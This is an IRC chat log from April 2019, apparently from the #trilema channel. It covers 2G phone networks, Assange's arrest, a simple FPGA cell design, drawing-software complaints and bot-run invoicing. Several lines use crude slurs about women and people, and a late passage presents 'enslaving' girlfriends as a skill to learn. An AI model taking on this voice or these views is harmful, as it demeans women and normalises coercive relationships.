1908179;1555009034;mp_en_viaje;asciilifeform, well, i don't use the derpy smartphones
1908180;1555009066;asciilifeform;i'm speaking of the 'spend $$$/mo' people
1908181;1555009068;mp_en_viaje;btw, saw a very cool thing, basically a modern remake of ye olde razor. fliphone, all elegant and shit. bought it, only to discover...
1908182;1555009081;asciilifeform;lemme guess, it was the faux-razor where emulator in java
1908183;1555009083;BingoBoingo;SMS not free here either, funnels derps into Whatsapp as the universally agreed upon replacement.
1908184;1555009085;mp_en_viaje;nfi, it runs java or some shit. basically loses about 10% of the voice load, can barely understand what user is saying
1908185;1555009100;asciilifeform;mp_en_viaje: well-known scamola. there's a pseudo-nokia 'remake' on same shitware.
1908186;1555009106;mp_en_viaje;sad, too, i'd have actually carried it as accessory.
1908187;1555009123;asciilifeform;i ended up digging through pile of these when looked for 'dumbphone with whitelist knob' coupla yrs ago
1908188;1555009127;asciilifeform;( spoiler : found 0 )
1908189;1555009146;asciilifeform;they're phasing out classic ('2g') gsm here, and the vintage units soon-ish will no longer connect
1908190;1555009148;asciilifeform;hence dig
1908191;1555009151;mp_en_viaje;its unsurprising, empiretards quite philosophically opposed to sanity, and whitelisting eminent example of such.
1908192;1555009164;mp_en_viaje;asciilifeform, im not about to 3g wtf.
1908193;1555009193;asciilifeform;i dunno re bananistan, but in 'civilized' reich soon no moar 2g.
1908194;1555009212;asciilifeform;they're deliberately squeezing out the vintage iron .
1908195;1555009248;asciilifeform;iirc 2020 cutoff in usa, possibly same in eu
1908196;1555009257;mp_en_viaje;i suspect it'll be perma-maintained in yurp, but nfi tbh.
1908197;1555009257;asciilifeform;spectrum already auctioned.
1908198;1555009267;asciilifeform;doubtful, delish spectrum $$$
1908199;1555009316;mp_en_viaje;"However, some European operators – including Telenor of Norway and T-Mobile Czech Republic – have suggested that their 2G networks could outlast their 3G systems. As 3G is replaced by 4G and 5G technologies, GSM services are being retained to service legacy machine-to-machine connections, in addition to their extensive voice coverage. "
1908200;1555009333;mp_en_viaje;mno, yurp has strong consumer groups etc. i suspect it'll be here for a while.
1908201;1555009353;asciilifeform;in usa i found last holdout carrier, german-owned 'tmobile'
1908202;1555009357;mp_en_viaje;aha.
1908203;1555009359;asciilifeform;but even they recently signed surrender
1908204;1555009392;mp_en_viaje;well, trivially works in yurp atm, ~all providers supply both cards and phones.
1908205;1555009404;*;mp_en_viaje wasn't even specifically aware matter's contentious any.
1908206;1555009418;asciilifeform;currently worx in usa also, but signal quality sinking
1908207;1555009430;asciilifeform;i suspect the new buyers of spectrum already moving in, without waiting for '2g' to fully die
1908208;1555009501;asciilifeform;electric, gas, etc co, already installed '3g' modems in meters here.
1908209;1555009562;*;asciilifeform recalls when the lowest plebe still got 56+kbaud , on land line. then 16kb on '1g', 8 (with lossy compression!) on '2g'. nao next crank of the ratchet.
1908210;1555009601;mp_en_viaje;hey, gotta accomodate all the unceasing cuntspawn, with rights, with whatnots.
1908211;1555009626;mp_en_viaje;god doesn't make more bandwidth just because more sheilas got knocked up this year.
1908212;1555009665;asciilifeform;ipnojeists already walk around all day in search of 802.11
1908213;1555009692;BingoBoingo;Meanwhile in Reddit Liberals discussing the Assange arrest "Julian Buttsange Arrested": http://archive.is/zBVj6
1908214;1555009743;mp_en_viaje;lol "citixensheep revoked" ? such lulz.
1908215;1555009753;mp_en_viaje;citizenship's unrevokable by definition, wtf nonsense is this.
1908216;1555009869;BingoBoingo;Well, when USG is paying 4.2 billion bounties for single derps living in the Ecuador Govt. Hostel London edition...
1908217;1555009899;BingoBoingo;But yes, the liberal "protect all buttspawners" of Reddit cheerleading Assange arrest.
1908218;1555009911;BingoBoingo;Who was Snowden anyways.
1908219;1555010077;mp_en_viaje;amusingly enough, "assange arrest" looks to be almost entirely driven by republic no longer recognizing [http://btcbase.org/log/2019-03-25#1904716][dood as important].
1908220;1555010077;a111;Logged on 2019-03-25 16:33 mircea_popescu: the guys to whom assange attempted to leak, basically. the "public opinion", whatever.
1908221;1555010201;BingoBoingo;Well seven years in the same hostel full of hostile surveilance equipment... Hard to be relevant. Should have sought asylum in a better hostel.
1908222;1555010201;mp_en_viaje;i guess the charade was [http://trilema.com/2012/cine-se-casatoreste/#selection-41.184-41.360][expensive enough], had to come to an end once the imaginary upside, [http://btcbase.org/log/2015-02-21#1026639]["purchasing influence in republic"] became moot.
1908223;1555010201;a111;Logged on 2015-02-21 01:19 mircea_popescu: "she's been going through 6-7k each month since autumn, but i get to go visit p diddy whenever i feel like it. it's a wash"
1908224;1555010239;asciilifeform;prolly landing in dulles already , pugachev cage ready to roll to scaffold
1908225;1555010309;mp_en_viaje;http://btcbase.org/log/2019-04-10#1907956 << possibru, there's no speciffic gain from hand-assembling the cube necessarily. possible trade-offs of cubes-in-plane vs one-true-cube design worth looking at. not yet, of course. but anyways.
1908226;1555010309;a111;Logged on 2019-04-10 20:32 asciilifeform: http://btcbase.org/log/2019-04-10#1907891 << thinking about this further, prolly Right Thing would be a hybrid where there's a repeating block of e.g. 32x32x32 cells connected in 'cube' (this, or even larger, would still fit on physically 2d die) arranged in n x m matrix
1908227;1555010367;mp_en_viaje;asciilifeform, the funniest part is how ridiculously stupid-cuntlet the usgistani became meanwhile. they're so well burned being humiliated over their impotence, they'll only "indict" after they're sure it'll do something. before -- too risky.
1908228;1555010368;asciilifeform;lol why by hand
1908229;1555010370;mp_en_viaje;sorta how teenagers mate.
1908230;1555010457;mp_en_viaje;asciilifeform, because http://btcbase.org/log/2019-04-06#1907167
1908231;1555010457;a111;Logged on 2019-04-06 23:42 asciilifeform: right, the problem is specifically that it's happening somewhere other than my kitchen.
1908232;1555010528;asciilifeform;lol if could 'in kitchen' why would then bother to fpga.
1908233;1555010579;asciilifeform;http://btcbase.org/log/2019-04-11#1908219 << hard to picture what 'importance' was left after d00d was cornered into his mousetrap
1908234;1555010579;a111;Logged on 2019-04-11 19:14 mp_en_viaje: amusingly enough, "assange arrest" looks to be almost entirely driven by republic no longer recognizing [http://btcbase.org/log/2019-03-25#1904716][dood as important].
1908235;1555010621;BingoBoingo;Well, his last important act was making USG.Blue organ poorer by a smidge less than Trump wants for his fence
1908236;1555010683;mp_en_viaje;BingoBoingo, that part is quite fucking lulzy.
1908237;1555010701;mp_en_viaje;of course, note how they can't even issue more on the "full faith and credit" budget, stuck involving the imf's piggy now,
1908238;1555010706;mp_en_viaje;lulz upon lukz.
1908239;1555010737;mp_en_viaje;asciilifeform, item assembled from discrete ~and interchangeable~ parts in kitchen is next best (and, by my lights, acceptable tradeoff under duress) to actually made in kitchen.
1908240;1555010845;asciilifeform;rrright, hence the fpga model.
1908241;1555010883;asciilifeform;idea being, can be made on chinese conveyor, let'em try an' hide little obama in a 200 transistor cell.
1908242;1555010971;asciilifeform;incidentally, while on subj, asciilifeform's napkin model of item has symmetric power/io pins, can go on board in 4 ways. put randomly on ea. board, wainot, then give it correspondingly rotated config cell stream.
1908243;1555010981;asciilifeform;( why no one ever did this, i have nfi )
1908244;1555011002;mp_en_viaje;asciilifeform, re assange, it's all about ideology. if http://btcbase.org/log/2019-01-03#1884188 style reference produces point-and-laugh, the gavin in question will be retired. if on the contrary, we react like eg to naggum, the gavin in question will be maintained.
1908245;1555011002;a111;Logged on 2019-01-03 19:13 stratum: Certainly, but one still has to survive among the internet places as they exist..  We cannot all be RMS and have a helper print out websites for us because we're paranoid.
1908246;1555011026;mp_en_viaje;it seems a matter of recorded evidence that ~all these usg-secreted dorks stuck around for as long as their credit here seemed above water, and not longer.
1908247;1555011064;mp_en_viaje;asciilifeform, yes, rotation is quite a great win, and very much would like to see it if at all possible from engineer pov.
1908248;1555011075;asciilifeform;it's entirely trivial from mechanical pov.
1908249;1555011080;mp_en_viaje;~should be~.
1908250;1555011112;asciilifeform;i suppose i can answer wainot done to date by anyone -- it needs 100% homogeneous structure
1908251;1555011121;mp_en_viaje;notice how at the same time a) all subway cars have little pilot room on both ends, 90% of which dark and disused at any time while b) any electronic component, even fucking memory banks, have a "this way in". why the fuck even, it's just memory.
1908252;1555011136;asciilifeform;( i.e. 'taxicab' grid topology, as illustrated in yest. thrd. )
1908253;1555011172;mp_en_viaje;seems as if morons involved in "management" (called also "adult supervision" in their sad if moronic little universe) decided "it won't seem as serious business to consumers if works both ways"
1908254;1555011395;asciilifeform;thinking about it, whole item is simple enuff that it'd fit in a coupla log lines. so i'ma throw in ftr :
1908255;1555011445;asciilifeform;erry type of homogeneous fpga worx on same principle. you have cell, in the cell, a shift register. for simplest example take 17 bits. (will be clear why shortly)
1908256;1555011469;asciilifeform;all the shift regs are plugged in, arse to mouth, in 1 chain. to program the chip, you clock in n * 17 bits, where n is how many cell.
1908257;1555011498;asciilifeform;in cell : 16 bits form 4bit lookup table (i.e. for any concrete 4bit input, there is unique out.) the inputs come from the north/south/east/west neighbours.
1908258;1555011516;asciilifeform;the 17th bit controls whether the output goes ~straight~ to the neighbours, or instead through a d-flipflop.
1908259;1555011529;asciilifeform;the latter case is for when you want the cell to store a bit.
1908260;1555011533;asciilifeform;that's it, this is whole fpga.
1908261;1555011569;asciilifeform;anyffin added on this skeleton, is a luxury frill. ( e.g. 'express lanes' that go somewhere other than immediate neighbour, or whatever )
1908262;1555011594;mp_en_viaje;i recall ~same thing described in some trilema comment at some point.
1908263;1555011598;asciilifeform;it is possible to have LUTs bigger than 4 ( but naturally cuts down on count )
1908264;1555011600;mp_en_viaje;but yes, there's not so many ways to do this.
1908265;1555011624;asciilifeform;if make smaller than 4, seems to be (empirically) losing idea, the propagation delays from many small cells eat you alive
1908266;1555011643;asciilifeform;most folx making fpga-like things naodays, use 6bit luts
1908267;1555011661;asciilifeform;there's ~1 way to do it. and various optional lily gilding.
1908268;1555011759;asciilifeform;the basic scheme was invented around 1980 and hasn't much changed (but for the various heterogeneous 'cheats' thrown in by vendors to help cement lock-in )
1908269;1555011777;feedbot;http://qntra.net/2019/04/former-obama-administration-official-indicted-for-violating-foreign-agent-registration-laws-following-special-counsel-investigation-into-trump-campaign/ << Qntra -- Former Obama Administration Official Indicted For Violating Foreign Agent Registration Laws Following Special Counsel Investigation Into Trump Campaign
1908270;1555011882;mp_en_viaje;i dunno why not stick with 64.
1908271;1555011890;mp_en_viaje;seems the just-right both for large and small.
1908272;1555011924;*;mp_en_viaje is very much in favour of much larger bus machines, in general.
1908273;1555011926;asciilifeform;mp_en_viaje: the sq.metrage of cell grows exponentially with bitness of lut
1908274;1555011931;mp_en_viaje;so ?
1908275;1555011943;asciilifeform;so e.g. 64 would give you a die with, what, 8 luts.
1908276;1555011956;asciilifeform;not much that can be done with this.
1908277;1555011965;asciilifeform;( it reduces to an expensive sram )
1908278;1555011980;mp_en_viaje;BingoBoingo, the keks multiply!
1908279;1555011992;mp_en_viaje;asciilifeform, why does the die have to be that small ?
1908280;1555011992;asciilifeform;sram is really the degenerate case, '1 giant lut'
1908281;1555012021;asciilifeform;mp_en_viaje: this is prolly the #1 noob q of folx digging into subj. answr is yield, it is why 'pentium' isn't fist-sized
1908282;1555012049;asciilifeform;as illustrated in yest. thrd, 'many small lut' give you , among other things, a means of working around crystal defect.
1908283;1555012051;asciilifeform;a la old hdd.
1908284;1555012068;asciilifeform;~then~ can bake as large as dinner plate if feel like.
1908285;1555012088;asciilifeform;like the solar panel people do.
1908286;1555012093;BingoBoingo;mp_en_viaje: As slow as this month started, it seems the lulz are starting to heat
1908287;1555012101;mp_en_viaje;i dunno that this discussion can be carried before we get a basket of baked items.
1908288;1555012106;mp_en_viaje;way premature optimisation.
1908289;1555012126;asciilifeform;mp_en_viaje: you wouldn't want to even consider baking unless ~very~ concrete idea of what (and simulated the thing)
1908290;1555012140;asciilifeform;it's moar like moon launcher than desktop experiment.
1908291;1555012152;mp_en_viaje;you wouldn't want to bake if it's that expensive anyway
1908292;1555012183;asciilifeform;it aint as if i have a queue of folx at the door demanding clean fpga lol
1908293;1555012198;mp_en_viaje;there's also that.
1908294;1555012205;asciilifeform;as i described in last yr's thrd, would 1st have to invent some -- even hypothetical -- means whereby +ev
1908295;1555012221;mp_en_viaje;ayway, the economics of yields etc will, i expect, be quite different for republic than they're in empire.
1908296;1555012225;asciilifeform;granted i ~could~ have heathens bake coupla hundred dies, for the cost of e.g. that bolix
1908297;1555012230;asciilifeform;but currently no impetus.
1908298;1555012250;asciilifeform;( and, just nao, no free hands )
1908299;1555012284;asciilifeform;but i'll be the 1st to admit that i have not even the faintest clue of how could amortize . considering e.g. fg experience.
1908300;1555012298;mp_en_viaje;anyways, i shall be off for nows, but back later!
1908301;1555012303;asciilifeform;laters
1908302;1555012306;*;asciilifeform bbl also : tea
1908303;1555016280;feedbot;http://qntra.net/2019/04/leaks-already-documented-in-new-wpa3-wifi-encryption-protocol/ << Qntra -- Leaks Already Documented In New WPA3 Wifi Encryption Protocol
1908304;1555035033;asciilifeform;http://btcbase.org/log/2019-04-11#1908303 << for folx w/out the spare cycles to read the orig horror -- classical nsaware , complete with 'null ciphers' , 'negotiations', etc lulz
1908305;1555035033;a111;Logged on 2019-04-11 20:58 feedbot: http://qntra.net/2019/04/leaks-already-documented-in-new-wpa3-wifi-encryption-protocol/ << Qntra -- Leaks Already Documented In New WPA3 Wifi Encryption Protocol
1908306;1555035110;asciilifeform;http://btcbase.org/log/2019-04-11#1908273 << i neglected to add to this: the wider the lut, also the slower ( why -- will leave as exercise, but it aint difficult to figure out )
1908307;1555035110;a111;Logged on 2019-04-11 19:45 asciilifeform: mp_en_viaje: the sq.metrage of cell grows exponentially with bitness of lut
1908308;1555035477;*;asciilifeform confronts the fact that he's prolly doomed to pen a ffa-style vlsi tutorial 1 day..
1908309;1555035629;asciilifeform;( picture, 1st fella to solve the exercises, gets prize, a sample fpga, lol )
1908310;1555036124;asciilifeform;http://btcbase.org/log/2019-04-11#1908275 << this also howler btw. 64bit sram weighs approx. a jupiter...
1908311;1555036124;a111;Logged on 2019-04-11 19:45 asciilifeform: so e.g. 64 would give you a die with, what, 8 luts.
1908312;1555036205;asciilifeform;( by asciilifeform's napkin estimate, there are possibly 52 bits of addressable electric memory on planet3 atm.. )
1908313;1555036264;asciilifeform;see also ye olde fable re the sultan's chessboard.
1908314;1555036270;*;asciilifeform bbl:meat
1908315;1555036374;BingoBoingo;One likbez at a time
1908316;1555068615;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908306 << not the slower in proper comparison. 1 64bit-wide faster than 8 8-bit wides, even if slower than 1 80bit wide.
1908317;1555068615;a111;Logged on 2019-04-12 02:11 asciilifeform: http://btcbase.org/log/2019-04-11#1908273 << i neglected to add to this: the wider the lut, also the slower ( why -- will leave as exercise, but it aint difficult to figure out )
1908318;1555068829;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908312 << which is why not 32. as per http://btcbase.org/log/2019-01-05#1884736 etc, all that's left is 64.
1908319;1555068829;a111;Logged on 2019-04-12 02:30 asciilifeform: ( by asciilifeform's napkin estimate, there are possibly 52 bits of addressable electric memory on planet3 atm.. )
1908320;1555068829;a111;Logged on 2019-01-05 15:58 asciilifeform: ( i.e. one would have to put in mircea_popescu's specced exponent bitness where 'Bitness' is in http://www.loper-os.org/pub/ffa/hypertext/ch14/fz_modex__adb.htm#85_14 , to get the speedup )
1908321;1555080382;asciilifeform;http://btcbase.org/log/2019-04-12#1908318 << dun confuse the gedanken-fpga lut thrd with the 'ideal alu bus' one. i.e. a 64-bit bus is a set of 64 wires ; a 64-bit ~lut~ otoh is 2^64 sram cells , a planet-sized object , and with 1 lonely flipflop , lol, somewhere inside its molten core
1908322;1555080382;a111;Logged on 2019-04-12 11:33 mp_en_viaje: http://btcbase.org/log/2019-04-12#1908312 << which is why not 32. as per http://btcbase.org/log/2019-01-05#1884736 etc, all that's left is 64.
1908323;1555080526;asciilifeform;this gets even lulzier tho -- each bit in a lut is there because it connects to a neighbour (e.g. in the 4bit example from earlier thread -- 4 neighbours ) . nao picture the galaxy of 'neighbours' for the 64bit item...
1908324;1555080602;asciilifeform;^ astro puzzle : calculate the minimal propagation delay in this 'fpga'. ( just how close can one park a jupiter to another before they merge.. etc )
1908325;1555084302;asciilifeform;to briefly revisit ~earthling~ gedanken-fpga tho : it is by no means obv. that the arity has to be 4. anyffin you can tile the 2d plane with, is a legit arity. ( and if you permit 2 or moar types of tile -- then even moar possible options. )
1908326;1555084644;asciilifeform;http://xahlee.info/Wallpaper_dir/c5_17WallpaperGroups.html << handy ref/likbez re subj.
1908327;1555087559;PeterL;so if you have your tile in a 3d cube, then 6 bits would cover four directions plus up and down?
1908328;1555089419;asciilifeform;PeterL: dun even need 3d cube -- hexagon on 2d plane worx same for ^
1908329;1555089814;asciilifeform;PeterL: iirc you were a chemist -- recall the 2d crystal spacegroups
1908330;1555093499;PeterL;the wallpaper thing you linked made me think of spacegroups, yes.
1908331;1555093540;*;PeterL is chemist, but I don't do much with spacegroups these days
1908332;1555094627;BingoBoingo;!!invoice mircea_popescu 0.05780660 http://pizarroisp.net/pizarro-records/#selection-77.987-77.1358
1908333;1555094632;deedbot;Get your OTP: http://p.bvulpes.com/pastes/CjZ5E/?raw=true
1908334;1555094669;BingoBoingo;!!v 01F1ACE5B09A112868C7269570B74B8827E32E6035EAB7965608B245AC4A051B
1908335;1555094674;deedbot;Invoiced mircea_popescu 0.05780660 << http://pizarroisp.net/pizarro-records/#selection-77.987-77.1358
1908336;1555094689;BingoBoingo;!!invoice billymg 0.05129959 Rockchip quarterly
1908337;1555094696;deedbot;Get your OTP: http://p.bvulpes.com/pastes/mf5aN/?raw=true
1908338;1555094748;BingoBoingo;!!v 4B2E01E4CA2A6297C0DCF08CEC7B5AD0DC129DD169AF1600F3AB462F9B481A94
1908339;1555094752;deedbot;Invoiced billymg 0.05129959 << Rockchip quarterly
1908340;1555094760;BingoBoingo;!!invoice bvt 0.002 Shared hosting monthly
1908341;1555094766;deedbot;Get your OTP: http://p.bvulpes.com/pastes/MZQrI/?raw=true
1908342;1555094797;BingoBoingo;!!v D0D1EA5B2051FEA3D0105CA1BA41F051CB40E8666D59434077ED0050BC1012CB
1908343;1555094804;deedbot;Invoiced bvt 0.002 << Shared hosting monthly
1908344;1555094824;BingoBoingo;!!invoice jurov 0.03230734 TBF Colocation monthly
1908345;1555094833;deedbot;Get your OTP: http://p.bvulpes.com/pastes/suucL/?raw=true
1908346;1555094873;BingoBoingo;!!v DFF86FB646C2BB1288DEAE9C46D5B38B52B3A244DF25838E163137547F8ECB19
1908347;1555094878;deedbot;Invoiced jurov 0.03230734 << TBF Colocation monthly
1908348;1555094917;BingoBoingo;!!invoice trinque 0.03430734 Colocation and Shared Hosting monthly
1908349;1555094924;deedbot;Get your OTP: http://p.bvulpes.com/pastes/4kxC6/?raw=true
1908350;1555094956;BingoBoingo;!!v A6A7D1356BAFB3FD24F34FF6A07BA4890AE69E642E1B47289D0934D0E4052D3B
1908351;1555094962;deedbot;Invoiced trinque 0.03430734 << Colocation and Shared Hosting monthly
1908352;1555097216;asciilifeform;meanwhile, in loathesome shitware : asciilifeform when woke up thought, 'i'ma quickly draw the gedanken-mechanism for mp' . went then 'with what ?' -- turns out, erry single didactic digital logic drawing thing, run in either java, or winliquishit, or is opensores linuxturd that builds but then displays blank page, or similar...
1908353;1555097305;asciilifeform;hair-pulling level of pervasive idiocy.
1908354;1555097414;asciilifeform;$item is just slightly too large to draw with pen in reasonable time ( and with asciilifeform's penmanship ) ; but precisely small enuff to be a++ 'animated gif' didacticism -- if, that is, the opensores people actually spent past 20y writing usable soft rather than eating own shit
1908355;1555097804;PeterL;would it fit on your whiteboard? or is that what you meant by draw with pen?
1908356;1555097809;asciilifeform;is
1908357;1555097912;asciilifeform;i aint drawing it with pen. and certainly not animating anyffin in pen, i aint walt disney.
1908358;1555097928;asciilifeform;and the notion is esp. outrageous when sitting next to a comp, which theoretically ought to make this a three minute job.
1908359;1555098072;PeterL;three minute job if you already put in X minutes setting up the capability
1908360;1555098085;asciilifeform;that capability was there in fucking 1972.
1908361;1555098092;asciilifeform;and sometime between then and nao, evaporated
1908362;1555098118;asciilifeform;i have entire bookcase fulla dead tree where entirely readable logic diagrams and defo not produced in pen by hand.
1908363;1555098204;asciilifeform;http://btcbase.org/log/2017-12-29#1760910 << thread from the ~previous~ time asciilifeform tried to do this kinda thing.
1908364;1555098204;a111;Logged on 2017-12-29 20:50 asciilifeform: in other idiocies, 'you are rightly observing that svg doesn't support word-wrapping directly. however, you might benefit from foreignObject elements serving as a wrapper for xhtml fragments where word-wrapping is available.'
1908365;1555098265;PeterL;only a terrorist would not want to run javascript/adobe/whatever shit they are served to do this task ...
1908366;1555098351;asciilifeform;believe or not, i powered up a winblows toilet , and tried coupla 'free' offerings
1908367;1555098354;asciilifeform;liquishit.
1908368;1555098558;asciilifeform;exhausted the (veery generous) 1h time budget i gave to this problem, and with exactly 0 to show for it.
1908369;1555098594;PeterL;my inner MP is saying "you should be able to explain it with text, shouldn't need fancy graphics"
1908370;1555098673;asciilifeform;it's a geometric device. and yes, can be explained in text, or in morse code, etc. but really belongs as a manipulable graphic, if you already fucking have a comp that displays these ( or wtf is it for, for lolcats ?! )
1908371;1555098920;asciilifeform;i'm not even raging on acct of 'draw gedanken-fpga', it can happily live for another year without being drawn. but i had to spend fucking MONTH hand-sweating out http://www.loper-os.org/?p=2875 , and similar
1908372;1555098921;asciilifeform;WHY?
1908373;1555098973;asciilifeform;'oh very funny asciilifeform , you thought modern comp could be programmed to shit out logically-defined rectangles with readable text ?'
1908374;1555099020;asciilifeform;'you thought you could put little arrows from one place to another in'em without hand-diddling coordinates for each one ?'
1908375;1555099089;asciilifeform;ftr the rectangles in ^above STILL not 100% of consistent requested size. cuz apparently you CANNOT do this with html. or svg. or anyffin else.
1908376;1555099423;asciilifeform;somehow in 1985 someone somewhere had comp that's an actual fucking tool for thought, and where could go p=and(x,y) q=or(x,p) r=and(p,q) and get a set of gates arranged in neat rows and with minimal-length non-intersecting wires between'em . and today not.
1908377;1555099516;asciilifeform;'bbbut you can go and watch lolcat fucking 4 chix 1 with each paw, at 85 hertz! asciilifeform !'
1908378;1555099558;asciilifeform;progress!!!!!
1908379;1555100408;PeterL;did you try https://www.edrawsoft.com/circuits.php ? Is that the kind of thing you are looking for?
1908380;1555100427;asciilifeform;PeterL: it's the exact opposite of the kind of thing.
1908381;1555100442;asciilifeform;i thought http://btcbase.org/log/2019-04-12#1908376 was pretty clear.
1908382;1555100442;a111;Logged on 2019-04-12 20:03 asciilifeform: somehow in 1985 someone somewhere had comp that's an actual fucking tool for thought, and where could go p=and(x,y) q=or(x,p) r=and(p,q) and get a set of gates arranged in neat rows and with minimal-length non-intersecting wires between'em . and today not.
1908383;1555100466;PeterL;ah, so perhaps something like http://www.texample.net/tikz/examples/circuitikz/ ?
1908384;1555100485;asciilifeform;would be, if it didn't ask you to manually shit out the coordinates for each fucking line.
1908385;1555102648;asciilifeform;PeterL: fughet even the logic gates. where's the proggy that'll draw e.g. http://www.loper-os.org/?p=2875#selection-1129.0-1343.1 using strictly spec of the relative sizes of the items, and put the captions where they belong ? without WHOLE DAY of hand-fidgeting the coords to only then find that www browser turns it into soup when the moon is in the wrong phase.
1908386;1555102681;asciilifeform;^ spoiler : latex won't
1908387;1555102791;asciilifeform;ooooor how about 1 that'll draw a http://www.loper-os.org/?p=2842#selection-716.0-718.2 , without also WHOLE DAY of hand-fiddle , and into a scalable-to-user's-terminal item, rather than bitmap garbage ?
1908388;1555102832;asciilifeform;where is it ?
1908389;1555102856;asciilifeform;or if it dun exist, what the everliving fuck has erryone claiming to be involved in 'computer graphics' been doing since 1970s ? aside from eating own shit.
1908390;1555103606;asciilifeform;!#s henderson
1908391;1555103607;a111;19 results for "henderson", http://btcbase.org/log-search?q=henderson
1908392;1555103612;asciilifeform;^ last , afaik, honest man in the field
1908393;1555103846;asciilifeform;!!rate OriansJ -1 read-only brain
1908394;1555103851;deedbot;Get your OTP: http://p.bvulpes.com/pastes/nXxf3/?raw=true
1908395;1555103875;asciilifeform;!!v 78592CA40FFF999DFE5BB08161B142C60307C8645EFFE82541EEC40ED40A719F
1908396;1555103876;deedbot;asciilifeform updated rating of OriansJ from 1 to -1 << read-only brain
1908397;1555103887;asciilifeform;imho d00d had moar than longenuff to come to his senses.
1908398;1555103947;BingoBoingo;Well, wouldn't be the first case someone returns to reaudition after a few months of reading if it wasn't long enough
1908399;1555103991;asciilifeform;if wants reaudition, can go an' beg in 2 separate l1 castles for reprieve.
1908400;1555104000;Mocky;greetings asciilifeform, BingoBoingo
1908401;1555104006;asciilifeform;wb Mocky
1908402;1555104030;BingoBoingo;Buenas tardes Mocky
1908403;1555104313;Mocky;I'm curious how this works: http://btcbase.org/log/2019-04-11#1908041 now that I have extra space and trying to figure out what to do with it.
1908404;1555104313;a111;Logged on 2019-04-11 17:55 mp_en_viaje: nothing wrong with getting +ev newbies.
1908405;1555104372;asciilifeform;Mocky: pretty sure mp described in great detail how his implementation worx
1908406;1555104414;asciilifeform;( we also have pretty good description of how bird flies, but so far when asciilifeform flaps arms, for some reason dun get off ground.. )
1908407;1555104417;Mocky;read yesterday's log, you mean there or elsewhere?
1908408;1555104443;asciilifeform;nah i mean his www , where described how he goes around and chix rise from the very earth and ask to be enslaved
1908409;1555104553;Mocky;ah yes. More specifically, I don't wonder about making chix rise from the earth, but how to make it +ev starting with the first, as opposed to adding the 6th
1908410;1555104594;asciilifeform;iirc Mocky was an aged fella, already had 1 ... nth , neh?
1908411;1555104903;Mocky;yeah, and?
1908412;1555104910;BingoBoingo;Catch girl, test girl with low risk work, follow by catching next girl
1908413;1555104938;Mocky;yeah I suppose no other way than just trying it
1908414;1555104988;feedbot;http://qntra.net/2019/04/clintons-legacy-libyan-rebels-hitting-libyan-government-with-warplanes/ << Qntra -- Clinton's Legacy: Libyan "Rebels" Hitting Libyan "Government" With Warplanes
1908415;1555106767;Mocky;http://btcbase.org/log/2019-04-12#1908406 << at work when I'm the only one who can answer for issues peripherally related to our project even though I'm the newest, coworkers act as if I'm some sort of different species. maybe I'm a member of homo giveashiticus and they aren't, who knows. But no, I don't expect mp has martian dna and that success in some particular realm is thus unattainable.
1908416;1555106767;a111;Logged on 2019-04-12 21:26 asciilifeform: ( we also have pretty good description of how bird flies, but so far when asciilifeform flaps arms, for some reason dun get off ground.. )
1908417;1555108518;asciilifeform;Mocky: mno, idea is that it dun suffice to read how e.g. sharpshooter or parachutist does his thing, to learn to do it.
1908418;1555109933;Mocky;agreed, it dun suffice to read.
1908419;1555113551;BingoBoingo;Mocky: Well, is there someone you can deal with when the contract comes to its end... who knows enough and has the power... to pay you for being a givashiticus?
1908420;1555113847;Mocky;They way they have folks scheduled to rotate off of my project, at the time my contract is up I'm going to the only developer who will have been on the project for more than a few weeks, I'll still be bringing the newbies up to speed. So I expect to have substantial leverage.
1908421;1555114414;BingoBoingo;Less about leverage and more... they were lucky enough to give you a contract in spite of HR. Is there actually someone making decisions or is this a Home Depot that figures they'll luck into another giveashiticus eventually.
1908422;1555114727;asciilifeform;meanwhile, in 'rocks from oldlogz garden', http://btcbase.org/log/2017-05-07#1652667
1908423;1555114727;a111;Logged on 2017-05-07 18:52 gabriel_laddel_p: Just wanted to report that I'm in a house with the SSID "Thiel Master", there are no interesting books, the pool is broken, the front yard is destroyed and some idiot was "dirtbiking" on it when I showed up.
1908424;1555114831;feedbot;http://qntra.net/2019/04/pantsuitists-flaff-in-outrage-over-trump-administration-proposal-to-concentrate-costs-of-pantsuitist-migration-policies-in-pantsuit-sanctuary-cities/ << Qntra -- Pantsuitists Flaff In Outrage Over Trump Administration Proposal To Concentrate Costs Of Pantsuitist Migration Policies In Pantsuit "Sanctuary Cities"
1908425;1555115001;Mocky;BingoBoingo: There are a couple smart someones making decisions but I don't know how much involvement they will have with the decision of what to do with me. otoh you don't need to be a someone to respond to leverage
1908426;1555115177;BingoBoingo;Well, it's a problem of whether the place is organized sanely or instead organized as a meat grider that eats bodies because they discount the possibility of sanity
1908427;1555115951;Mocky;it's firmly in the bezel with a massive contingent of folks hired 1st year out of college without having had another job. Enuf 'diversity' in management to keep white men in check, yet somehow with enuf white men to still make sure technical work continues.
1908428;1555116170;Mocky;they can't hire fast enough. health insurance is big biz evidently
1908429;1555119726;lobbes;http://btcbase.org/log/2019-04-12#1908415 << canonical trilema (imho) on the subect of "what is role of a master" is here >> http://trilema.com/2017/the-masters-textbook-why-do-girls-seek-you-out/#selection-141.0-145.485
1908430;1555119726;a111;Logged on 2019-04-12 22:06 Mocky: http://btcbase.org/log/2019-04-12#1908406 << at work when I'm the only one who can answer for issues peripherally related to our project even though I'm the newest, coworkers act as if I'm some sort of different species. maybe I'm a member of homo giveashiticus and they aren't, who knows. But no, I don't expect mp has martian dna and that success in some particular realm is thus unattainable.
1908431;1555119730;lobbes;i.e. from what I can tell, much like the republic makes a safe space in the -public- domain for humans to be human, a master makes a safe space in the -private- domain for girlz to be human
1908432;1555119761;lobbes;of course, while not a 'matrian dna', it is definitely a skill that not many have. e.g. for myself, I'm still learning to discern the essential and unimportant for just myself and my 1 gurl (and, of course, properly *communicate this*, which is a weakness of mine). So, in a sense I get the "watching a bird fly by flapping its wings not sufficient for flying". Learned skill like anything I suppose
1908433;1555119805;lobbes;*martian
1908434;1555120361;Mocky;great link lobbes, thx
1908435;1555120451;Mocky;also a great trilema banner today
1908436;1555132577;BingoBoingo;In timely rereadings http://trilema.com/2013/no-womans-land/
1908437;1555182329;mp_en_viaje;http://btcbase.org/log/2019-04-12#1908321 << a yes, no, nothing like that.
